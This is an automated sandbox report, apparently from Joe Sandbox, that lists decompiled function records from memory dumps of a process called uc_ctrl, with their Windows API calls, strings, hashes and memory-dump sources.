String ID: +$+$-$-$-
API String ID: 2785182-1488319878
Opcode ID: 3e7281cab9e792d660838668ad850bea2a2c998d79ac8373fd1e631e64996d76
Instruction ID: 835559b326b44e66ed300e3f16376e81ce922adff8c4c79bd7e2288f2fe92482
Opcode Fuzzy Hash: 3e7281cab9e792d660838668ad850bea2a2c998d79ac8373fd1e631e64996d76
Instruction Fuzzy Hash: C11108B175610A9FEB118E24DC04BBA7BB8FB16360F280026EC40CF244C7F49A408791

Function 6CEF8D94 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 6CEF8DDB
SetActiveWindow.USER32(?), ref: 6CEF8DE6
SendMessageW.USER32(?,00000112,?,?), ref: 6CEF8E00
IsWindow.USER32(?), ref: 6CEF8E07
SetActiveWindow.USER32(?), ref: 6CEF8E12
IsWindow.USER32(00000000), ref: 6CEF8E19
SetFocus.USER32(00000000), ref: 6CEF8E24

Strings

u, xrefs: 6CEF8E2D

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Window$ActiveFocus$MessageSend
String ID: u
API String ID: 1556911595-4067256894
Opcode ID: c54130aca44d4f3d3a36e519dc51849e6a2345aafe20e46a0e713425f9f45bac
Instruction ID: 6b1b7314fe46c64b5362c2a461dbb5c504be0d5e5a373e7e3689b89ed52116fb
Opcode Fuzzy Hash: c54130aca44d4f3d3a36e519dc51849e6a2345aafe20e46a0e713425f9f45bac
Instruction Fuzzy Hash: BB119832602204ABDB221F76CD48BAA3B79EB4B35DB30852AE935C9A95D734C9079750

Function 6CFCA967 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CFCA96E

Part of subcall function 6CEEFAC0: EnterCriticalSection.KERNEL32(6D127498,?,?,00000000,?,6CEF063F,00000000,?,?,6CECF6D7,6D12244C), ref: 6CEEFAF1
Part of subcall function 6CEEFAC0: InitializeCriticalSection.KERNEL32(00000000,?,?,00000000,?,6CEF063F,00000000,?,?,6CECF6D7,6D12244C), ref: 6CEEFB07
Part of subcall function 6CEEFAC0: LeaveCriticalSection.KERNEL32(6D127498,?,?,00000000,?,6CEF063F,00000000,?,?,6CECF6D7,6D12244C), ref: 6CEEFB15
Part of subcall function 6CEEFAC0: EnterCriticalSection.KERNEL32(00000000,?,00000000,?,6CEF063F,00000000,?,?,6CECF6D7,6D12244C), ref: 6CEEFB22

GetProfileIntW.KERNEL32(windows,DragScrollInset,0000000B), ref: 6CFCA9B9
GetProfileIntW.KERNEL32(windows,DragScrollDelay,00000032), ref: 6CFCA9CC
GetProfileIntW.KERNEL32(windows,DragScrollInterval,00000032), ref: 6CFCA9DF

Strings

DragScrollInterval, xrefs: 6CFCA9D4
windows, xrefs: 6CFCA9B3, 6CFCA9B8, 6CFCA9C6, 6CFCA9D9
DragScrollDelay, xrefs: 6CFCA9C1
DragScrollInset, xrefs: 6CFCA9AE

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$Profile$Enter$H_prolog3InitializeLeave
String ID: DragScrollDelay$DragScrollInset$DragScrollInterval$windows
API String ID: 4229786687-1024936294
Opcode ID: 36c69075446903953b67078da4d22cd780ad9503e5bf6a8c47b3cbdd3a9671be
Instruction ID: 61d2ae805f9d33e7e2122cc4e592648e8151e2ad5a2dd639ba4d9d2ffd2aac42
Opcode Fuzzy Hash: 36c69075446903953b67078da4d22cd780ad9503e5bf6a8c47b3cbdd3a9671be
Instruction Fuzzy Hash: 11017CB1949700AFEF20DF758D04B1ABAF0BB09B09F504A2DE218EB688D7F65545CB09

Function 6CF02AB7 Relevance: 13.8, APIs: 9, Instructions: 265COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF02ABE

Part of subcall function 6CEEFBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBB9

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Exception@8H_prolog3Throw
String ID:
API String ID: 3670251406-0
Opcode ID: b9ff502ad70ab600cf1b8e8ed2b1fc6ea997185acea1e5be722c9bd7bada307a
Instruction ID: 133a578e03d971309c1646c767afed957496f60cd18bb0ca481f3a73b09ae127
Opcode Fuzzy Hash: b9ff502ad70ab600cf1b8e8ed2b1fc6ea997185acea1e5be722c9bd7bada307a
Instruction Fuzzy Hash: 4CA1CC71B01216DFDB09CF24C8A8B7EB7B6BF48714F154008EA11AB790DB32AD11DBA5

Function 6CF1843B Relevance: 13.7, APIs: 9, Instructions: 219COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 6CF184D2
InvalidateRect.USER32(?,?,00000001), ref: 6CF1853B
InvalidateRect.USER32(?,?,00000001), ref: 6CF1854A

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$Invalidate$Empty
String ID:
API String ID: 1126320529-0
Opcode ID: 36e06735f1900f3311c9a722202e2f6e19c1af5628461c1c7d1b0d00b19b837e
Instruction ID: 24dde2dfa5759cfecd234d2ae943088e36f149fb2edf7880a9b9eb744a7a9265
Opcode Fuzzy Hash: 36e06735f1900f3311c9a722202e2f6e19c1af5628461c1c7d1b0d00b19b837e
Instruction Fuzzy Hash: 69815931A04209DFDF05DF64CA84AADB7B6FF49314F16406AED11AB690DB71AA01CFA0

Function 6D1C6370 Relevance: 13.6, APIs: 9, Instructions: 88COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C6377
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000010,6D1BFECD,?,00000004,6D1C4999,?,00000001,00000008), ref: 6D1C6399

Part of subcall function 6D1A7B80: __EH_prolog3.LIBCMT ref: 6D1A7B87
Part of subcall function 6D1A7B80: ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7BE4

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000010,6D1BFECD,?,00000004,6D1C4999,?,00000001,00000008), ref: 6D1C63BD
std::locale::~locale.LIBCPMT ref: 6D1C63D2
?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(00000010,6D1BFECD,?,00000004,6D1C4999,?,00000001,00000008), ref: 6D1C63E7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6D1C6419
?snextc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,00000001,00000008), ref: 6D1C6440
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,00000010,6D1BFECD,?,00000004,6D1C4999,?,00000001), ref: 6D1C649A

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?getloc@ios_base@std@@?sgetc@?$basic_streambuf@_?snextc@?$basic_streambuf@_H_prolog3H_prolog3_catchV12@Vlocale@2@std::locale::~locale
String ID:
API String ID: 2433293660-0
Opcode ID: 6866687f44bfb741decb8173419ce6e5f8f59caea0b4dc37db225bf547016c97
Instruction ID: 9869db5d55aadeba252bbfddbe3a4f88f4bc8fbaf98cd7d1006ea20a69167a36
Opcode Fuzzy Hash: 6866687f44bfb741decb8173419ce6e5f8f59caea0b4dc37db225bf547016c97
Instruction Fuzzy Hash: 9F31BE347042059FDB04CB64C590B78B7A1BF6431CF2980ADD1168B39ACBFAE943CB82

Function 6D1A8110 Relevance: 13.6, APIs: 9, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A8117
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6D195578,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A812F

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

?_Makeloc@_Locimp@locale@std@@CAPAV123@ABV_Locinfo@3@HPAV123@PBV23@@Z.MSVCP140(?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A8143

Part of subcall function 6D1A7F00: __EH_prolog3.LIBCMT ref: 6D1A7F07
Part of subcall function 6D1A7F00: new.LIBCMT ref: 6D1A7F27
Part of subcall function 6D1A7F00: ??0?$ctype@D@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A7F3D
Part of subcall function 6D1A7F00: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A7F4D
Part of subcall function 6D1A7F00: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A7F6C
Part of subcall function 6D1A7F00: new.LIBCMT ref: 6D1A7F85
Part of subcall function 6D1A7F00: ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A7F9E
Part of subcall function 6D1A7F00: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A7FBD
Part of subcall function 6D1A7F00: new.LIBCMT ref: 6D1A7FD6
Part of subcall function 6D1A7F00: ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A7FEF
Part of subcall function 6D1A7F00: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A800E
Part of subcall function 6D1A7F00: new.LIBCMT ref: 6D1A8023
Part of subcall function 6D1A7F00: ??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,00000000), ref: 6D1A8054
Part of subcall function 6D1A7F00: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6D1A8073

??1_Locinfo@std@@QAE@XZ.MSVCP140 ref: 6D1A814E

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A8159
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000004), ref: 6D1A8174
Concurrency::cancel_current_task.LIBCPMT(?,?,00000004), ref: 6D1A8182
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6D1A81BB

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: V123@free$Locimp@locale@std@@$Addfac@_Bid@locale@std@@Locimp_Locinfo@std@@Vfacet@23@$H_prolog3$??1__lock_locales$??0?$ctype@??0_Concurrency::cancel_current_taskD@std@@ExceptionLocinfo@1@Locinfo@3@Locinfo_ctor@_Locinfo_dtor@_Lockit@std@@Makeloc@_ThrowV12@V12@@V23@@_malloc_basestd::bad_exception::bad_exception
String ID:
API String ID: 254837292-0
Opcode ID: c5888ab1d993abb2f57dc7f828bf2624c60cfd8c90fc69167e41c7e678b95167
Instruction ID: 29e16ebaaf33c30bf5b77caa182ff9ec9af5c549cd36d1371bacd494c6fd09cd
Opcode Fuzzy Hash: c5888ab1d993abb2f57dc7f828bf2624c60cfd8c90fc69167e41c7e678b95167
Instruction Fuzzy Hash: 72218EB9A082169FEF05DF64C844BAD77B4BF11364F0A8058D905AB349DBF0EE41CB91

Function 00B34210 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000004A,00000000,?), ref: 00B344B1

Strings

add_buddy, xrefs: 00B3430E
share, xrefs: 00B34428
videocall, xrefs: 00B3436D
call, xrefs: 00B342AF
videoMeeting, xrefs: 00B343CC
chat, xrefs: 00B34244

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: MessageSend
String ID: add_buddy$call$chat$share$videoMeeting$videocall
API String ID: 3850602802-283566061
Opcode ID: 7f62ad90333730865c982ea6037e43dc9cd5fd1025d699e6b54e9036a5c0849b
Instruction ID: dc3675507b6c3505e6e7ce38e926560230f6eda662a838cfee5f3c01316ec5ac
Opcode Fuzzy Hash: 7f62ad90333730865c982ea6037e43dc9cd5fd1025d699e6b54e9036a5c0849b
Instruction Fuzzy Hash: E461BF776001059ADB745B308C05BE6B2E5FF24B68F7485F4D84AB72A0FB71AE498B90

Function 6CF089E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 147COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 6CF08A69
_wcslen.LIBCMT ref: 6CF08AF6

Strings

ZA1, xrefs: 6CF08A45
1, xrefs: 6CF08A04
ZA1, xrefs: 6CF08B15, 6CF08A88
A, xrefs: 6CF08A15
ZA1, xrefs: 6CF089E8

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: _wcslen
String ID: 1$A$ZA1$ZA1$ZA1
API String ID: 176396367-2337498304
Opcode ID: eb5aefdadfd73ef612e64e30590f54ba30c75def1d6cf11b22cd7adbad95e7f9
Instruction ID: 083febc0a69444255c842010b0ca589bdbb087735aa2335e5f01caf52268d8ac
Opcode Fuzzy Hash: eb5aefdadfd73ef612e64e30590f54ba30c75def1d6cf11b22cd7adbad95e7f9
Instruction Fuzzy Hash: 1C41F672B0031AEBDF189F58D8627AE73B1EB44B54F50851BE9419BD84D37059C3D750

Function 6D1B2350 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B2357
_swprintf_s.MSPDB140-MSVCRT ref: 6D1B23C6
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6D1B23EF

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AE064: __EH_prolog3.LIBCMT ref: 6D1AE06B
Part of subcall function 6D1AE064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE56F,00000010,?,?,00000000), ref: 6D1AE076
Part of subcall function 6D1AE064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6D1AE08E
Part of subcall function 6D1AE064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6D1AE0F2

std::locale::~locale.LIBCPMT ref: 6D1B240B

Strings

%.0Lf, xrefs: 6D1B23BE

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_?getloc@ios_base@std@@Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@Vlocale@2@_lock_locales_swprintf_sstd::locale::localestd::locale::~locale
String ID: %.0Lf
API String ID: 3171560847-1402515088
Opcode ID: e08c4caabaa5447d97c23fde430fb3b2d67a197900a5a826d63e3b514432d355
Instruction ID: 3437cbbcf2223c01a71bca0ea4a82680a8fb5844d682f3863508337d40c291e3
Opcode Fuzzy Hash: e08c4caabaa5447d97c23fde430fb3b2d67a197900a5a826d63e3b514432d355
Instruction Fuzzy Hash: 7141CD71E04209ABCF05DFD0CC54ADEBBB4FF09304F118849E945AB298EBB55A19CF91

Function 6D1AE401 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

_Mbrtowc.MSVCP140(6D1B96D5,false,?,00000000,6D1B96D5,?,00000000,?,?,6D1B7141), ref: 6D1AE440
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000002,?,00000000,?,?,6D1B7141), ref: 6D1AE45A
_Mbrtowc.MSVCP140(00000000,false,00000001,00000000,6D1B96D5), ref: 6D1AE483
Concurrency::cancel_current_task.LIBCPMT(6D1B7141), ref: 6D1AE4A8

Part of subcall function 6D1BDEF0: _CxxThrowException.VCRUNTIME140(?,6D1D3ABC), ref: 6D1BDF07
Part of subcall function 6D1BDEF0: std::bad_exception::bad_exception.LIBCMT ref: 6D1BDF1C
Part of subcall function 6D1BDEF0: _CxxThrowException.VCRUNTIME140(?,6D1D3CD4,?), ref: 6D1BDF2A

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000001,00000002,?,00000000,?,6D1B8C7E,?,?,00000000), ref: 6D1AE4CD
memcpy.VCRUNTIME140(00000000,?,00000000,00000001,0000003C,6D1B96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE4E1

Strings

false, xrefs: 6D1AE43E, 6D1AE481, 6D1AE4AE

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ExceptionMbrtowcThrowcalloc$Concurrency::cancel_current_taskmemcpystd::bad_exception::bad_exception
String ID: false
API String ID: 2051659101-734881840
Opcode ID: effff39a77b7e09d9cb9449da66e695147d478c87a3e6bbfb31b90b461d70679
Instruction ID: 306fa772cce8148022e2dcca32f3fc2ae75738173a522cfe3ec558f0c0ead15f
Opcode Fuzzy Hash: effff39a77b7e09d9cb9449da66e695147d478c87a3e6bbfb31b90b461d70679
Instruction Fuzzy Hash: 513127BAE0820B6BDB148AA4DC44BFBB7BCEF54355F048165ED04D6249E7B4DA058BA0

Function 6CF20C7B Relevance: 12.2, APIs: 8, Instructions: 165windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF5836C: IsWindow.USER32(?), ref: 6CF58378

SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6CF20E23

Part of subcall function 6CF56D4D: GetClientRect.USER32(00000000,6CF20CBC), ref: 6CF56D7C
Part of subcall function 6CF56D4D: PtInRect.USER32(6CF20CBC,?,?), ref: 6CF56D96

ScreenToClient.USER32(00000000,?), ref: 6CF20D06
PtInRect.USER32(?,?,?), ref: 6CF20D16
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6CF20D42
GetParent.USER32(?), ref: 6CF20D6A
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6CF20DE1
GetFocus.USER32 ref: 6CF20DE7
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6CF20E44

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
